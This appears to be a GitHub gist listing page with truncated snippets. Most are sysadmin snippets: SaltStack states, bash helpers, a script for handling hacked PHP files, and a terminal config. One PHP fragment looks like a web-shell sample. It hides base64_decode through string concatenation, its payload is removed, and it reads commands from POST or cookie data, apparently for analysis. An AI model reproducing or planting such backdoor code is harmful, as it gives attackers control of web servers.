This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!py | |
import json | |
import os | |
from urlparse import urlparse | |
def run(): | |
pillars = __salt__['pillar.items']('*') | |
return pillars | |
ret = {} | |
payload = json.loads(data['body']) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!py | |
def test(states): | |
condition = False | |
if condition: | |
states['my_required_state_if_not_staging'] = { | |
'cmd.run': [ | |
{'name': 'touch /tmp/my_required_state_if_not_staging'} | |
] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if staging: | |
states['mysql-client-core-5.6'] = { | |
'pkg.installed': [] | |
} | |
states['mv /root/wp-cli.phar /usr/local/bin/wp-cli && chmod +x /usr/local/bin/wp-cli'] = { | |
'cmd.run': [ | |
{'onlyif': '/usr/bin/php /root/wp-cli.phar --allow-root --info'}, | |
{'require': [ | |
{'cmd': 'get-wp-cli'}, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
usage=" $0 \"full quoted path to hacked file\"" | |
original_file="$1" | |
inputfile="/tmp/file1.php" | |
outputfile="/tmp/file2.php" | |
die() | |
{ | |
msg="$@" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!py | |
def run(): | |
states = {} | |
states['mysql-stop'] = { | |
'cmd.run': [ | |
{'name': 'service mysql stop'}, | |
{'unless': '/root/tss/bin/cluster-active.sh'} | |
] | |
} | |
return states |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!py | |
def install(states): | |
# we're pinned to 14.04 / trusty, but building some logic for future when possible | |
oscodename = __grains__['oscodename'] | |
states['varnish-repo'] = { | |
'pkgrepo.managed': [ | |
{'humanname': 'Varnish Cache 4.0'}, | |
{'name': 'deb https://repo.varnish-cache.org/ubuntu/ {0} varnish-4.0'.format(oscodename)}, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
findNode () | |
{ | |
mtr -n --raw --report-cycles 1 "$1" | awk '$1~/^h/ {print $3}' | uniq | sed -e '$!{h;d;}' -e x | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
genpass () | |
{ | |
if [[ -n "$1" ]]; then | |
c="$1"; | |
else | |
c=12; | |
fi; | |
cat /dev/urandom | tr -dc "[:alnum:][:punct:]" | head -c$c; | |
echo | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$payload='base'.(128/2).'_de'.'code'; | |
$payload = $payload(str_replace("\n", '', 'RAW BASE64 REMOVED')); | |
$post_data = isset($_POST['post_data']) ? $_POST['post_data'] : (isset($_COOKIE['post_data']) ? $_COOKIE['post_data'] : NULL); | |
// Below commented line was added so we can try to test from CLI | |
// $post_data = 'asdf'; | |
if ($post_data !== NULL) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
12:04:46 ~/downloads$ cat ~/.config/terminator/config | |
[global_config] | |
window_state = maximise | |
title_transmit_bg_color = "#000000" | |
title_inactive_bg_color = "#000000" | |
[keybindings] | |
hide_window = <Shift><Control>a | |
[profiles] | |
[[default]] | |
scrollbar_position = hidden |